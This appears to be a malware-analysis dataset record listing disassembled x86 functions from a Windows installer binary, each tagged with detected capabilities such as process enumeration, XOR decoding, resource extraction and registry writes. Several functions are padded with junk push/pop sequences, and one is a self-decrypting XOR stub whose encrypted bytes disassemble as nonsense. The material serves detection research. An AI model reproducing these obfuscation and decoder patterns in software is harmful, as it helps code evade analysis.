joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f8d2
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
push 0x42d7ac
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esi], eax
call fcn.0040d846
test al, al
je 0x40f905
pop edx
pop ebx
pop edx
push edx
pop edi
push ecx
pop edx
pop ebp
push edx
push esi
pop ecx
pop eax
pop edx
pop edi
pop edi
push edx
pop ebp
call fcn.0040d5d9
test al, al
je 0x40f92d
push edx
pop ebp
pop ecx
push edi
push esi
pop esp
push esp
push ebx
pop ebx
pop esi
pop esp
pop eax
push esi
push eax
pop esp
pop edi
pop ecx
push ecx
pop edx
pop esp
pop esp
push esi
pop ebp
pop ebx
push ebp
push edx
pop edx
push edx
push esp
pop edi
push ecx
call fcn.0040d3f6
test al, al
je 0x40f94c
push ecx
push edi
push ebx
push ebp
push esi
push esp
pop eax
push edx
pop edx
pop ebx
push eax
pop esi
pop esi
push edx
pop eax
pop esp
pop edx
push edi
push esp
push eax
pop ecx
push esp
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
jne 0x40f95b
xor eax, eax
jmp 0x40fa25
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetNativeSystemInfo
push dword [ebx]
call esi
push str.IsWow64Process
push dword [ebx]
mov dword [ebx + 8], eax
call esi
push str.Wow64DisableWow64FsRedirection
push dword [ebx]
mov dword [ebx + 0xc], eax
call esi
push str.Wow64RevertWow64FsRedirection
push dword [ebx]
mov dword [ebx + 0x18], eax
call esi
push 0x43065c
push dword [ebx]
mov dword [ebx + 0x14], eax
call esi
push str.advapi32.dll
mov dword [ebx + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebx + 4], eax
call fcn.0040d5d9
test al, al
je 0x40f9cf
push eax
push esi
push edi
pop ebp
pop esi
pop edi
pop ebx
push esi
pop ecx
pop esp
push edi
pop eax
pop ebp
push ebp
pop ecx
push edx
pop esp
pop esi
pop esp
push esp
pop eax
pop ebp
push edi
push ebx
pop ecx
push esi
push ecx
call fcn.0040d480
test al, al
je 0x40f9f6
push edi
pop edi
push ebx
push eax
push ebp
push ecx
push edi
push edx
pop esp
push edi
pop edi
pop ecx
push esp
push eax
pop esi
pop edx
push ecx
pop esi
pop ecx
pop edi
pop ebx
push esi
pop edx
push esi
pop edx
pop ecx
pop ecx
pop eax
pop ebx
pop esp
mov esi, dword [ebp - 4]
cmp dword [esi + 4], 0
je 0x40f954
mov ebx, str.Wow64RevertWow64FsRedirection
push ebx
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push dword [esi + 4]
mov dword [esi + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 0x1c], eax
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40fd75
Capabilities:
Enumerate processes

Disassembly:
push 0x280
mov eax, 0x42a637
call fcn.0040e152
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x28c], ebx
test eax, eax
je 0x40ff62
push eax
lea ecx, [ebp - 0x40]
call fcn.004014a4
and dword [ebp - 4], 0
lea eax, [ebp - 0x40]
push eax
call fcn.00410439
mov edi, 0x22c
lea eax, [ebp - 0x284]
push edi
push 0
push eax
call fcn.00412a00
add esp, 0x10
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [ebp - 0x28c], esi
cmp esi, 0xffffffff
je 0x40ff52
call fcn.0040d732
test al, al
je 0x40fdf7
pop eax
pop ecx
push ebp
push edi
pop ecx
push esp
pop edx
pop ebp
pop edx
pop esp
push eax
push ebx
push ebx
push edx
push esp
push edx
lea eax, [ebp - 0x284]
mov dword [ebp - 0x284], edi
push eax
push esi
call sub.KERNEL32.dll_Process32FirstW
jmp 0x40fecf
and dword [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp word [ebp - 0x260], ax
je 0x40fe36
lea eax, [ebp - 0x260]
push eax
call fcn.004156a2
pop ecx
push eax
lea eax, [ebp - 0x260]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040223c
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
push eax
call fcn.00410439
pop ecx
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x28]
call fcn.00402357
test eax, eax
je 0x40fe8a
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00410267
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x40]
or ebx, 1
call fcn.00402357
mov byte [ebp - 0x285], 0
test eax, eax
jne 0x40fe91
mov byte [ebp - 0x285], 1
test bl, 1
je 0x40fea5
push 0
push 1
lea ecx, [ebp - 0x58]
and ebx, 0xfffffffe
call fcn.004020f2
cmp byte [ebp - 0x285], 0
jne 0x40ff68
push 0
push 1
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0
call fcn.004020f2
lea eax, [ebp - 0x284]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x40fe0f
call fcn.0040d846
test al, al
je 0x40feff
push esp
push edi
pop ebx
pop ecx
pop esp
pop ebx
pop ebx
push ecx
pop ebp
pop eax
pop ebp
push ebx
pop ebx
pop edx
push ebp
push ebx
pop edi
pop eax
push ebx
push edx
pop edx
pop eax
pop edi
push ebp
pop edx
push ebp
push ebx
pop ebp
push ebx
pop edx
pop esi
call fcn.0040d36c
test al, al
je 0x40ff21
pop edx
push ecx
push ebp
pop edx
push esp
push esp
push edx
push esi
pop eax
push esi
pop ebx
pop ecx
pop esi
pop ebx
push edi
pop edi
push ecx
push esi
pop edi
pop edi
push ecx
push esp
pop ebp
push ebp
push edi
call fcn.0040d61e
test al, al
je 0x40ff46
pop edx
push ecx
pop ebp
pop ebx
pop ebp
pop eax
pop ebx
push edi
push edx
push esi
pop edi
push eax
push edx
push edi
push esi
push esp
pop ebp
push ecx
push edx
pop eax
pop ebp
pop esi
push ecx
pop ecx
push ebx
pop edi
push edi
pop ebp
push dword [ebp - 0x28c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
push 0
push 1
lea ecx, [ebp - 0x40]
call fcn.004020f2
mov eax, esi
call fcn.0040e10d
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x27c]
lea ecx, [ebp - 0x28]
push 0
push 1
call fcn.004020f2
jmp 0x40ff54

Function at 0x423ca4
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00423964
Function at 0x793ea4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x793eae
pushal
call 0x793eb4
pop ebp
sub ebp, 0x10
sub ebp, 0x393ea4
jmp 0x793eca
mov eax, 0x393ea4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c1
mov edx, 0x79d8a43f
xor byte [eax], dl
inc eax
dec ecx
jne 0x793ee1
jmp 0x793ef4
mov ah, 0xf2
mov ah, 0xb6
add edi, dword [edi]
aas
aas
mov esi, 0x3f3fc7fe
aas
cmp al, 0xf2
xchg dword [0x853f3f3f], esi
pop ss
aas
aas
aas
enter 0x3cdd, 0xfffffffffffffff7
mov ah, 0xbe
xor edi, dword [edi]
aas
aas
cmp al, 0xfa
outsd dx, dword [esi]
outsd dx, dword [esi]
push edi
add edx, dword [ebx + 0x31]
aas
push edi
pop edx
in eax, dx
adc eax, 0x1b133e3f
push edi
push eax
inc edi
stosb byte es:[edi], al
push ds
xlatb
cmp bh, byte [edi]
aas
aas
salc
adc eax, 0x6a3f3f3f
mov dl, 0x53
sbb edi, dword [edi]
mov ah, 0xba
aaa
aas
aas
aas
mov ah, 0xaa
xor edi, dword [edi]
aas
aas
mov ah, 0xb2
das
aas
aas
aas
invalid
Function at 0x401806
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x44a2f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x10
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetUserGeoID]
xor ebx, ebx
cmp eax, 0xffffffff
je 0x401879
push ebx
xor ecx, ecx
mov dword [ebp - 0xa], ebx
push 3
mov word [ebp - 0xc], cx
lea ecx, [ebp - 0xc]
push ecx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
cmp eax, 3
jne 0x401879
push edi
mov dword [esi + 0x14], 0xf
lea edi, [ebp - 0xc]
mov dword [esi + 0x10], ebx
mov ecx, esi
push 2
mov byte [esi], bl
call fcn.004044a8
push 2
pop ebx
movzx eax, byte [edi]
mov ecx, esi
push eax
push 1
call fcn.00404d0a
lea edi, [edi + 2]
dec ebx
jne 0x401863
pop edi
jmp 0x401885
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e398
mov esp, ebp
pop ebp
ret

Function at 0x405926
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44a2f0]
xor eax, ebp
mov dword [ebp - 8], eax
and dword [ebp - 0x10], 0
lea edx, [ebp - 0x20]
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], 7
mov ecx, dword [ebp + 8]
xor eax, eax
mov word [ebp - 0x20], ax
call fcn.00404f61
cmp dword [ebp - 0x10], 0
je 0x40598e
and dword [ebp - 0x24], 0
lea ecx, [ebp - 0x24]
cmp dword [ebp - 0xc], 8
lea eax, [ebp - 0x20]
push ecx
cmovae eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
test esi, esi
je 0x40598e
push esi
push dword [ebp - 0x24]
mov ecx, edi
call fcn.004059ac
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 1
lea ecx, [ebp - 0x20]
call fcn.00403af5
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.0041e398
mov esp, ebp
pop ebp
ret 4

Function at 0x406dcb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [0x44bc7c]
push edi
push 0xa
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x406e51
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x406e2a
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
push 2
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x406e2a
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
jne 0x406e2e
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
jmp 0x406e50
push edi
push ebx
push eax
call fcn.00422a50
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea eax, [ebp - 4]
push eax
push 1
push esi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov eax, dword [ebp - 4]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40abce
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20f4
call fcn.0042fc60
mov eax, dword [0x44a2f0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [edx + 0x10], 0
push ebx
push esi
push edi
mov esi, ecx
jne 0x40ac37
and dword [ebp - 0x20a0], 0
xor eax, eax
push 7
pop edi
mov dword [ebp - 0x209c], edi
mov word [ebp - 0x20b0], ax
and dword [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], edi
mov word [esi], ax
push 0
push 1
lea ecx, [ebp - 0x20b0]
call fcn.00403af5
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e398
mov esp, ebp
pop ebp
ret
cmp dword [edx + 0x14], 8
mov dword [ebp - 0x20b4], 0x824
jb 0x40ac49
mov edx, dword [edx]
push 0x2000000
lea eax, [ebp - 0x20b4]
push eax
lea eax, [ebp - 0x1050]
push eax
push edx
call dword [sym.imp.WININET.dll_InternetCanonicalizeUrlW]
push 7
pop edi
test eax, eax
je 0x40ac8d
cmp dword [ebp - 0x20b4], 0
je 0x40ac8d
lea eax, [ebp - 0x1050]
push eax
lea ecx, [ebp - 0x20b0]
call fcn.00405a7b
mov ebx, dword [ebp - 0x20a0]
jmp 0x40aca4
xor ebx, ebx
mov dword [ebp - 0x209c], edi
xor eax, eax
mov dword [ebp - 0x20a0], ebx
mov word [ebp - 0x20b0], ax
test ebx, ebx
je 0x40ac09
push 0x38
lea eax, [ebp - 0x20ec]
push 0
push eax
call fcn.004230a0
add esp, 0xc
mov dword [ebp - 0x20f0], 0x3c
cmp dword [ebp - 0x209c], 8
lea ecx, [ebp - 0x20f0]
lea eax, [ebp - 0x2098]
mov dword [ebp - 0x20dc], 0x824
mov dword [ebp - 0x20e0], eax
lea eax, [ebp - 0x20b0]
cmovae eax, dword [ebp - 0x20b0]
push ecx
push 0x10000000
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
je 0x40ac09
push dword [ebp - 0x20e0]
mov ecx, esi
call fcn.00405a7b
jmp 0x40ac15
Function at 0x40bd7f
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x44a2f0]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
push esi
mov esi, ecx
lea ecx, [esp + 8]
push edi
call fcn.004168f0
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 0xc]
push 0x10
pop edi
cmp dword [esp + 0x20], edi
cmovae ecx, dword [esp + 0xc]
add eax, ecx
cmp dword [esp + 0x20], edi
lea ecx, [esp + 0xc]
cmovae ecx, dword [esp + 0xc]
push eax
push ecx
lea ecx, [esp + 0x2c]
call fcn.00404266
push eax
lea ecx, [esi + 0x60]
call fcn.00403350
xor ebx, ebx
lea ecx, [esp + 0x24]
push ebx
push 1
call fcn.00403af5
mov ecx, dword [esi + 0xc]
add ecx, 0x4c
cmp dword [ecx + 0x14], edi
jb 0x40bdf5
mov edx, dword [ecx]
jmp 0x40bdf7
mov edx, ecx
mov eax, dword [ecx + 0x10]
add eax, edx
cmp dword [ecx + 0x14], edi
jb 0x40be03
mov ecx, dword [ecx]
push eax
push ecx
lea ecx, [esp + 0x2c]
call fcn.00404266
cmp dword [eax + 0x14], 8
jb 0x40be16
mov eax, dword [eax]
mov edx, eax
mov ecx, 0x443880
call fcn.0040e480
push ebx
push 1
lea ecx, [esp + 0x2c]
call fcn.00403af5
lea edx, [esi + 0x30]
cmp dword [edx + 0x14], 8
jb 0x40be39
mov edx, dword [edx]
mov ecx, str.InstallerData
call fcn.0040e480
lea edx, [esi + 0x48]
cmp dword [edx + 0x14], 8
jb 0x40be4e
mov edx, dword [edx]
mov ecx, str.ClidsFile
call fcn.0040e480
mov ecx, dword [esi + 0xc]
call fcn.00401fc6
mov ecx, esi
call fcn.0040c23a
mov edi, eax
test edi, edi
je 0x40be95
cmp dword [esi + 8], ebx
je 0x40bf03
push ebx
push dword [esi + 0x80]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40bef7
mov ecx, dword [esi + 8]
push edi
mov eax, dword [ecx]
call dword [eax + 0x14]
jmp 0x40bef7
mov ecx, str.InstallerData
call fcn.0040e592
mov ecx, str.ClidsFile
call fcn.0040e592
mov ecx, str.DistribInfoParams
call fcn.0040e592
call fcn.00402067
mov eax, dword [esi + 0xc]
cmp dword [eax + 0xd8], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
je 0x40bed9
add eax, 0xc8
cmp dword [eax + 0x14], 8
jb 0x40bed6
mov eax, dword [eax]
push eax
call ebx
mov eax, dword [esi + 0xc]
cmp dword [eax + 0xf0], 0
je 0x40bef5
add eax, 0xe0
cmp dword [eax + 0x14], 8
jb 0x40bef2
mov eax, dword [eax]
push eax
call ebx
xor ebx, ebx
cmp dword [esi + 8], ebx
je 0x40bf03
mov ecx, esi
call fcn.0040ca09
test edi, edi
mov ecx, esi
sete al
movzx eax, al
push eax
call fcn.0040b64c
push ebx
push 1
lea ecx, [esp + 0x14]
call fcn.004037de
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041e398
mov esp, ebp
pop ebp
ret
Function at 0x40dcc5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword [ebp + 8]
mov edi, dword [0x44bc7c]
mov ebx, edx
shr edx, 4
and ebx, 0xf
inc edx
mov esi, ecx
movzx eax, dx
push eax
push 6
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
test eax, eax
je 0x40dd1f
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, eax
test ecx, ecx
je 0x40dd1f
xor eax, eax
movzx edx, word [ecx]
add ecx, 2
test dx, dx
je 0x40dd19
cmp eax, ebx
je 0x40dd36
lea ecx, [ecx + edx*2]
inc eax
cmp eax, 0x10
jl 0x40dd07
and dword [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 7
mov word [esi], ax
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret
lea eax, [ecx + edx*2]
push eax
push ecx
mov ecx, esi
call fcn.0040f529
jmp 0x40dd2f

Function at 0x40dd44
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [0x44bc7c]
push esi
push 0x444aec
push edx
push ebx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 4], eax
test eax, eax
je 0x40dda8
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40dda8
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push dword [ebp - 4]
mov edi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
and dword [esi + 0x10], 0
add eax, edi
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp edi, eax
je 0x40dda5
sub eax, edi
mov ecx, esi
push eax
push edi
call fcn.00403ba6
pop edi
jmp 0x40ddb6
and dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40df6b
Capabilities:
Identify system language via api

Disassembly:
push esi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov ecx, 0x41f
cmp eax, ecx
jg 0x40dfe9
je 0x40dfe2
sub eax, 0x404
cmp eax, 0x15
ja case.0x40df93.1030
movzx eax, byte [eax + 0x40e06f]
jmp dword [eax*4 + 0x40e047]
push 0x444b80
jmp 0x40e039
push 0x444b48
jmp 0x40e039
push 0x444b7c
jmp 0x40e039
push 0x444b78
jmp 0x40e039
push 0x444b70
jmp 0x40e039
push str.pt_BR
jmp 0x40e039
push str.zh_TW
jmp 0x40e039
push 0x444b74
jmp 0x40e039
push 0x444b6c
jmp 0x40e039
push 0x444c04
jmp 0x40e039
sub eax, 0x422
je 0x40e034
sub eax, 0x1d
je 0x40e02d
sub eax, 0x3c5
je 0x40e026
sub eax, 0x12
je 0x40e01f
sub eax, 0x3f4
je 0x40e018
and dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
jmp 0x40e040
push 0x444b60
jmp 0x40e039
push str.pt_PT
jmp 0x40e039
push str.zh_CN
jmp 0x40e039
push 0x444bc0
jmp 0x40e039
push 0x444ba4
mov ecx, esi
call fcn.004031b5
mov eax, esi
pop esi
ret
Function at 0x40e2fb
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ecx + 0x14], 8
push ebx
push esi
push edi
mov edi, edx
jb 0x40e30d
mov ecx, dword [ecx]
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40e360
cmp dword [edi + 0x14], 0x10
lea eax, [edi + 0x10]
mov dword [ebp - 4], ebx
mov dword [ebp - 8], eax
jb 0x40e33d
mov edi, dword [edi]
push ebx
lea ecx, [ebp - 4]
push ecx
push dword [eax]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40e35c
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp eax, dword [ecx]
jne 0x40e35c
mov bl, 1
test esi, esi
je 0x40e367
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40e370
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [edx + 0x14], 8
push ebx
push esi
mov ebx, ecx
jb 0x40e382
mov edx, dword [edx]
xor eax, eax
push eax
push 0x80
push 3
push eax
push 1
push 0x80000000
push edx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
xor eax, eax
mov dword [ebp - 0x10], esi
cmp esi, 0xffffffff
jne 0x40e3c2
mov dword [ebx + 0x14], 0xf
mov dword [ebx + 0x10], eax
push esi
mov byte [ebx], al
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40e478
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea ecx, [ebp - 0x1c]
push edi
mov dword [ebp - 4], edi
call fcn.0040f620
xor eax, eax
push eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push edi
mov edi, dword [ebp - 0x1c]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, 1
jne 0x40e453
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jne 0x40e453
xor eax, eax
mov dword [ebx + 0x14], 0xf
mov dword [ebx + 0x10], eax
mov ecx, ebx
mov byte [ebx], al
mov eax, dword [ebp - 0x18]
sub eax, edi
push eax
mov dword [ebp - 4], eax
call fcn.004044a8
mov ecx, dword [ebp - 4]
xor edx, edx
mov eax, edi
cmp eax, dword [ebp - 0x18]
cmova ecx, edx
test ecx, ecx
je 0x40e44c
mov esi, ecx
movzx eax, byte [edi]
mov ecx, ebx
push eax
push 1
call fcn.00404d0a
mov eax, dword [ebp - 0xc]
inc edi
inc eax
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x40e42d
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40e46c
push eax
jmp 0x40e466
xor eax, eax
mov dword [ebx + 0x14], 0xf
mov dword [ebx + 0x10], eax
mov byte [ebx], al
test edi, edi
je 0x40e46c
push edi
call fcn.0041e393
pop ecx
test esi, esi
je 0x40e477
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40e480
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44a2f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0xc], 7
xor ecx, ecx
xor eax, eax
push 0x44471a
mov dword [ebp - 0x10], ecx
mov edi, edx
mov byte [ebp - 8], cl
lea ecx, [ebp - 0x20]
push str.HKEY_CURRENT_USER_
mov word [ebp - 0x20], ax
call fcn.00404175
mov esi, str.SoftwareYandexYandexBrowser
push esi
call fcn.004011cd
pop ecx
push eax
push esi
lea ecx, [ebp - 0x20]
call fcn.00403916
push 0x5c
lea ecx, [ebp - 0x20]
call fcn.00401752
push ebx
mov esi, eax
call fcn.004011cd
pop ecx
push eax
push ebx
mov ecx, esi
call fcn.00403916
push 0x44471c
mov ecx, esi
call fcn.00401699
push edi
mov esi, eax
call fcn.004011cd
pop ecx
push eax
push edi
mov ecx, esi
call fcn.00403916
lea eax, [ebp - 0x20]
xor esi, esi
push eax
push eax
push 0x1be
push 0x444720
push esi
call fcn.004100c4
add esp, 0x14
lea ecx, [ebp - 0x20]
push esi
push 1
call fcn.00403af5
push 0x20006
push ecx
push ecx
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], esi
call fcn.00414386
test eax, eax
jne 0x40e573
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x40e54e
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edi
push 1
push esi
push ebx
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp dword [ebp - 0x24], esi
je 0x40e581
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e398
mov esp, ebp
pop ebp
ret

Function at 0x40e592
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44a2f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x444785
mov edi, ecx
mov dword [ebp - 0xc], 7
xor ebx, ebx
lea ecx, [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x10], ebx
push str.Remove_HKEY_CURRENT_USER_
mov word [ebp - 0x20], ax
mov byte [ebp - 8], bl
call fcn.00404175
mov esi, str.SoftwareYandexYandexBrowser
push esi
call fcn.004011cd
pop ecx
push eax
push esi
lea ecx, [ebp - 0x20]
call fcn.00403916
push 0x5c
lea ecx, [ebp - 0x20]
call fcn.00401752
push edi
mov esi, eax
call fcn.004011cd
pop ecx
push eax
push edi
mov ecx, esi
call fcn.00403916
lea eax, [ebp - 0x20]
push eax
push eax
push 0x1d6
push str.lite_installer::RemoveValueFromRegistry
push ebx
call fcn.004100c4
add esp, 0x14
lea ecx, [ebp - 0x20]
push ebx
push 1
call fcn.00403af5
push 0x20006
push ecx
push ecx
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], ebx
call fcn.00414386
test eax, eax
jne 0x40e643
push edi
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
cmp dword [ebp - 0x24], ebx
je 0x40e651
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041e398
mov esp, ebp
pop ebp
ret